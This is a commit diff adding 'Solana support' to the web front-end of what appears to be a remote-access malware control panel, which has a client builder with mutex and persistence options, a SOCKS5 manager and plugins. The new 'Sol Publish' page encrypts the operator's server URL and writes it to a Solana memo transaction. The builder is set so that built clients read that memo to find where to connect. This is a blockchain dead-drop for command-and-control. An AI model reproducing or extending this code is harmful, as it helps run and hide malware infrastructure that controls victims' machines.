add solana support
This commit is contained in:
@@ -15,6 +15,8 @@ const scriptsLink = document.getElementById("scripts-link");
|
||||
const pluginsLink = document.getElementById("plugins-link");
|
||||
const rawServerListCheckbox = document.getElementById("raw-server-list");
|
||||
const serverUrlInput = document.getElementById("server-url");
|
||||
const solMemoCheckbox = document.getElementById("sol-memo");
|
||||
const solSettings = document.getElementById("sol-settings");
|
||||
|
||||
let currentServerVersion = null;
|
||||
|
||||
@@ -91,6 +93,9 @@ function saveFormSettings() {
|
||||
platforms: Array.from(document.querySelectorAll('input[name="platform"]')).map((el) => ({ value: el.value, checked: el.checked })),
|
||||
serverUrl: document.getElementById("server-url")?.value ?? "",
|
||||
rawServerList: document.getElementById("raw-server-list")?.checked ?? false,
|
||||
solMemo: document.getElementById("sol-memo")?.checked ?? false,
|
||||
solAddress: document.getElementById("sol-address")?.value ?? "",
|
||||
solRpcEndpoints: document.getElementById("sol-rpc-endpoints")?.value ?? "",
|
||||
outputName: document.getElementById("output-name")?.value ?? "",
|
||||
mutex: document.getElementById("mutex")?.value ?? "",
|
||||
disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false,
|
||||
@@ -140,6 +145,9 @@ function restoreFormSettings() {
|
||||
}
|
||||
if (s.serverUrl !== undefined) setVal("server-url", s.serverUrl);
|
||||
if (s.rawServerList !== undefined) setCb("#raw-server-list", s.rawServerList);
|
||||
if (s.solMemo !== undefined) setCb("#sol-memo", s.solMemo);
|
||||
if (s.solAddress !== undefined) setVal("sol-address", s.solAddress);
|
||||
if (s.solRpcEndpoints !== undefined) setVal("sol-rpc-endpoints", s.solRpcEndpoints);
|
||||
if (s.outputName !== undefined) setVal("output-name", s.outputName);
|
||||
if (s.mutex !== undefined) setVal("mutex", s.mutex);
|
||||
if (s.disableMutex !== undefined) setCb('input[name="disable-mutex"]', s.disableMutex);
|
||||
@@ -190,11 +198,20 @@ initAccordions();
|
||||
updateWindowsSectionVisibility();
|
||||
init();
|
||||
|
||||
if (solMemoCheckbox && solSettings) {
|
||||
solSettings.classList.toggle("hidden", !solMemoCheckbox.checked);
|
||||
}
|
||||
|
||||
if (rawServerListCheckbox && serverUrlInput) {
|
||||
rawServerListCheckbox.addEventListener("change", () => {
|
||||
const isRaw = rawServerListCheckbox.checked;
|
||||
const current = serverUrlInput.value.trim();
|
||||
|
||||
if (isRaw && solMemoCheckbox) {
|
||||
solMemoCheckbox.checked = false;
|
||||
if (solSettings) solSettings.classList.add("hidden");
|
||||
}
|
||||
|
||||
if (isRaw) {
|
||||
if (current.startsWith("wss://")) {
|
||||
serverUrlInput.value = "https://" + current.slice("wss://".length);
|
||||
@@ -213,6 +230,37 @@ if (rawServerListCheckbox && serverUrlInput) {
|
||||
});
|
||||
}
|
||||
|
||||
if (solMemoCheckbox && solSettings) {
|
||||
solMemoCheckbox.addEventListener("change", () => {
|
||||
const isSol = solMemoCheckbox.checked;
|
||||
solSettings.classList.toggle("hidden", !isSol);
|
||||
|
||||
if (isSol && rawServerListCheckbox) {
|
||||
rawServerListCheckbox.checked = false;
|
||||
if (serverUrlInput) {
|
||||
serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(false);
|
||||
}
|
||||
}
|
||||
|
||||
if (isSol) {
|
||||
const rpcField = document.getElementById("sol-rpc-endpoints");
|
||||
if (rpcField && !rpcField.value.trim()) {
|
||||
rpcField.value = [
|
||||
"https://api.mainnet-beta.solana.com",
|
||||
"https://solana-mainnet.gateway.tatum.io",
|
||||
"https://go.getblock.us/86aac42ad4484f3c813079afc201451c",
|
||||
"https://solana-rpc.publicnode.com",
|
||||
"https://api.blockeden.xyz/solana/KeCh6p22EX5AeRHxMSmc",
|
||||
"https://solana.drpc.org",
|
||||
"https://solana.leorpc.com/?api_key=FREE",
|
||||
"https://solana.api.onfinality.io/public",
|
||||
"https://solana.api.pocket.network/",
|
||||
].join("\n");
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
const persistenceCheckbox = document.querySelector('input[name="enable-persistence"]');
|
||||
const persistenceMethodContainer = document.getElementById("persistence-method-container");
|
||||
const persistenceEmptyState = document.getElementById("persistence-empty-state");
|
||||
@@ -923,6 +971,9 @@ form?.addEventListener("submit", async (e) => {
|
||||
platforms,
|
||||
serverUrl: serverUrl || undefined,
|
||||
rawServerList,
|
||||
solMemo: document.getElementById("sol-memo")?.checked || false,
|
||||
solAddress: document.getElementById("sol-address")?.value.trim() || undefined,
|
||||
solRpcEndpoints: document.getElementById("sol-rpc-endpoints")?.value.trim() || undefined,
|
||||
mutex: disableMutex ? "" : mutex || undefined,
|
||||
disableMutex,
|
||||
stripDebug,
|
||||
|
||||
@@ -26,6 +26,7 @@ if (host) {
|
||||
"/socks5-manager": "socks5-link",
|
||||
"/plugins": "plugins-link",
|
||||
"/build": "build-link",
|
||||
"/sol-publish": "sol-publish-link",
|
||||
"/users": "users-link",
|
||||
"/user-client-access": "users-link",
|
||||
"/notifications": "notifications-link",
|
||||
|
||||
@@ -4,6 +4,7 @@ export function applyUserRoleUI(user, refs) {
|
||||
roleBadge,
|
||||
usersLink,
|
||||
buildLink,
|
||||
solPublishLink,
|
||||
pluginsLink,
|
||||
scriptsLink,
|
||||
logsLink,
|
||||
@@ -67,6 +68,7 @@ export function applyUserRoleUI(user, refs) {
|
||||
usersLink?.classList.remove("hidden");
|
||||
pluginsLink?.classList.remove("hidden");
|
||||
logsLink?.classList.remove("hidden");
|
||||
solPublishLink?.classList.remove("hidden");
|
||||
}
|
||||
if (user.role === "admin" || user.role === "operator") {
|
||||
buildLink?.classList.remove("hidden");
|
||||
|
||||
@@ -65,6 +65,12 @@ export function mountNav(host) {
|
||||
class="hidden inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-900/70 border border-slate-800 hover:bg-slate-800 text-slate-300 transition-colors"
|
||||
><i class="fa-solid fa-hammer text-orange-400"></i> Builder</a
|
||||
>
|
||||
<a
|
||||
href="/sol-publish"
|
||||
id="sol-publish-link"
|
||||
class="hidden inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-900/70 border border-slate-800 hover:bg-slate-800 text-slate-300 transition-colors"
|
||||
><i class="fa-solid fa-link-slash text-purple-400"></i> Sol Publish</a
|
||||
>
|
||||
<a
|
||||
href="/notifications"
|
||||
id="notifications-link"
|
||||
@@ -137,6 +143,7 @@ export function mountNav(host) {
|
||||
roleBadge: document.getElementById("role-badge"),
|
||||
usersLink: document.getElementById("users-link"),
|
||||
buildLink: document.getElementById("build-link"),
|
||||
solPublishLink: document.getElementById("sol-publish-link"),
|
||||
pluginsLink: document.getElementById("plugins-link"),
|
||||
scriptsLink: document.getElementById("scripts-link"),
|
||||
logsLink: document.getElementById("logs-link"),
|
||||
|
||||
@@ -0,0 +1,194 @@
|
||||
const rpcSelect = document.getElementById("rpc-url");
|
||||
const customRpcWrapper = document.getElementById("custom-rpc-wrapper");
|
||||
const customRpcInput = document.getElementById("custom-rpc-url");
|
||||
const privateKeyInput = document.getElementById("private-key");
|
||||
const toggleKeyBtn = document.getElementById("toggle-key-visibility");
|
||||
const serverUrlInput = document.getElementById("server-url");
|
||||
const previewBtn = document.getElementById("preview-btn");
|
||||
const publishBtn = document.getElementById("publish-btn");
|
||||
const outputSection = document.getElementById("output-section");
|
||||
const outputDiv = document.getElementById("output");
|
||||
const walletInfo = document.getElementById("wallet-info");
|
||||
const walletAddress = document.getElementById("wallet-address");
|
||||
const walletBalance = document.getElementById("wallet-balance");
|
||||
|
||||
async function loadRpcEndpoints() {
|
||||
try {
|
||||
const res = await fetch("/api/sol/rpc-endpoints", { credentials: "include" });
|
||||
if (res.ok) {
|
||||
const data = await res.json();
|
||||
if (Array.isArray(data.endpoints)) {
|
||||
data.endpoints.forEach((ep) => {
|
||||
const opt = document.createElement("option");
|
||||
opt.value = ep;
|
||||
opt.textContent = ep;
|
||||
rpcSelect.appendChild(opt);
|
||||
});
|
||||
}
|
||||
}
|
||||
} catch {}
|
||||
|
||||
const customOpt = document.createElement("option");
|
||||
customOpt.value = "__custom__";
|
||||
customOpt.textContent = "Custom RPC endpoint...";
|
||||
rpcSelect.appendChild(customOpt);
|
||||
}
|
||||
|
||||
loadRpcEndpoints();
|
||||
|
||||
rpcSelect.addEventListener("change", () => {
|
||||
customRpcWrapper.classList.toggle("hidden", rpcSelect.value !== "__custom__");
|
||||
});
|
||||
|
||||
function getSelectedRpc() {
|
||||
if (rpcSelect.value === "__custom__") {
|
||||
return customRpcInput.value.trim();
|
||||
}
|
||||
return rpcSelect.value;
|
||||
}
|
||||
|
||||
const isHttps = window.location.protocol === "https:";
|
||||
const host = window.location.host;
|
||||
serverUrlInput.value = `${isHttps ? "wss" : "ws"}://${host}`;
|
||||
|
||||
let keyVisible = false;
|
||||
toggleKeyBtn.addEventListener("click", () => {
|
||||
keyVisible = !keyVisible;
|
||||
privateKeyInput.type = keyVisible ? "text" : "password";
|
||||
toggleKeyBtn.innerHTML = keyVisible
|
||||
? '<i class="fa-solid fa-eye-slash"></i> Hide'
|
||||
: '<i class="fa-solid fa-eye"></i> Show';
|
||||
});
|
||||
|
||||
let balanceTimeout = null;
|
||||
privateKeyInput.addEventListener("input", () => {
|
||||
clearTimeout(balanceTimeout);
|
||||
balanceTimeout = setTimeout(checkWalletBalance, 800);
|
||||
});
|
||||
|
||||
async function checkWalletBalance() {
|
||||
const key = privateKeyInput.value.trim();
|
||||
if (!key || key.length < 32) {
|
||||
walletInfo.classList.add("hidden");
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
const rpc = getSelectedRpc();
|
||||
const res = await fetch("/api/sol/balance", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
credentials: "include",
|
||||
body: JSON.stringify({ publicKeyBase58: key, rpcUrl: rpc }),
|
||||
});
|
||||
walletInfo.classList.add("hidden");
|
||||
} catch {
|
||||
walletInfo.classList.add("hidden");
|
||||
}
|
||||
}
|
||||
|
||||
function showOutput(text, isError = false) {
|
||||
outputSection.classList.remove("hidden");
|
||||
outputDiv.textContent = text;
|
||||
outputDiv.className = `p-3 bg-slate-800/60 border rounded-lg text-sm font-mono break-all whitespace-pre-wrap max-h-64 overflow-y-auto ${
|
||||
isError ? "border-red-700/60 text-red-300" : "border-slate-700 text-slate-200"
|
||||
}`;
|
||||
}
|
||||
|
||||
previewBtn.addEventListener("click", async () => {
|
||||
const serverUrl = serverUrlInput.value.trim();
|
||||
if (!serverUrl) {
|
||||
showOutput("Error: Server URL is required", true);
|
||||
return;
|
||||
}
|
||||
|
||||
previewBtn.disabled = true;
|
||||
previewBtn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> Encrypting...';
|
||||
|
||||
try {
|
||||
const res = await fetch("/api/sol/preview", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
credentials: "include",
|
||||
body: JSON.stringify({ serverUrl }),
|
||||
});
|
||||
|
||||
const data = await res.json();
|
||||
if (!res.ok) {
|
||||
showOutput(`Error: ${data.error}`, true);
|
||||
return;
|
||||
}
|
||||
|
||||
showOutput(
|
||||
`Encrypted Memo (${data.memoLength} chars):\n\n${data.memo}\n\nThis is what would be stored in the Solana memo transaction.`
|
||||
);
|
||||
} catch (err) {
|
||||
showOutput(`Error: ${err.message}`, true);
|
||||
} finally {
|
||||
previewBtn.disabled = false;
|
||||
previewBtn.innerHTML = '<i class="fa-solid fa-eye"></i> Preview Memo';
|
||||
}
|
||||
});
|
||||
|
||||
publishBtn.addEventListener("click", async () => {
|
||||
const serverUrl = serverUrlInput.value.trim();
|
||||
const privateKey = privateKeyInput.value.trim();
|
||||
const rpcUrl = getSelectedRpc();
|
||||
|
||||
if (!serverUrl) {
|
||||
showOutput("Error: Server URL is required", true);
|
||||
return;
|
||||
}
|
||||
if (!privateKey) {
|
||||
showOutput("Error: Private key is required", true);
|
||||
return;
|
||||
}
|
||||
if (!rpcUrl) {
|
||||
showOutput("Error: RPC endpoint is required", true);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!confirm(
|
||||
"Publish encrypted server URL to Solana?\n\n" +
|
||||
`Server URL: ${serverUrl}\n` +
|
||||
`RPC: ${rpcUrl}\n\n` +
|
||||
"This will create a transaction costing ~0.000005 SOL."
|
||||
)) {
|
||||
return;
|
||||
}
|
||||
|
||||
publishBtn.disabled = true;
|
||||
publishBtn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> Publishing...';
|
||||
|
||||
try {
|
||||
const res = await fetch("/api/sol/publish", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
credentials: "include",
|
||||
body: JSON.stringify({ serverUrl, privateKeyBase58: privateKey, rpcUrl }),
|
||||
});
|
||||
|
||||
const data = await res.json();
|
||||
if (!res.ok) {
|
||||
showOutput(`Error: ${data.error}`, true);
|
||||
return;
|
||||
}
|
||||
|
||||
showOutput(
|
||||
`Published successfully!\n\n` +
|
||||
`Signature: ${data.signature}\n` +
|
||||
`Address: ${data.address}\n` +
|
||||
`Memo length: ${data.memoLength} chars\n\n` +
|
||||
`Explorer: ${data.explorerUrl}\n\n` +
|
||||
`Clients built with Solana mode and address "${data.address}" will now connect to:\n${serverUrl}`
|
||||
);
|
||||
|
||||
walletInfo.classList.remove("hidden");
|
||||
walletAddress.textContent = `Address: ${data.address}`;
|
||||
} catch (err) {
|
||||
showOutput(`Error: ${err.message}`, true);
|
||||
} finally {
|
||||
publishBtn.disabled = false;
|
||||
publishBtn.innerHTML = '<i class="fa-solid fa-paper-plane"></i> Publish to Solana';
|
||||
}
|
||||
});
|
||||
Reference in New Issue
Block a user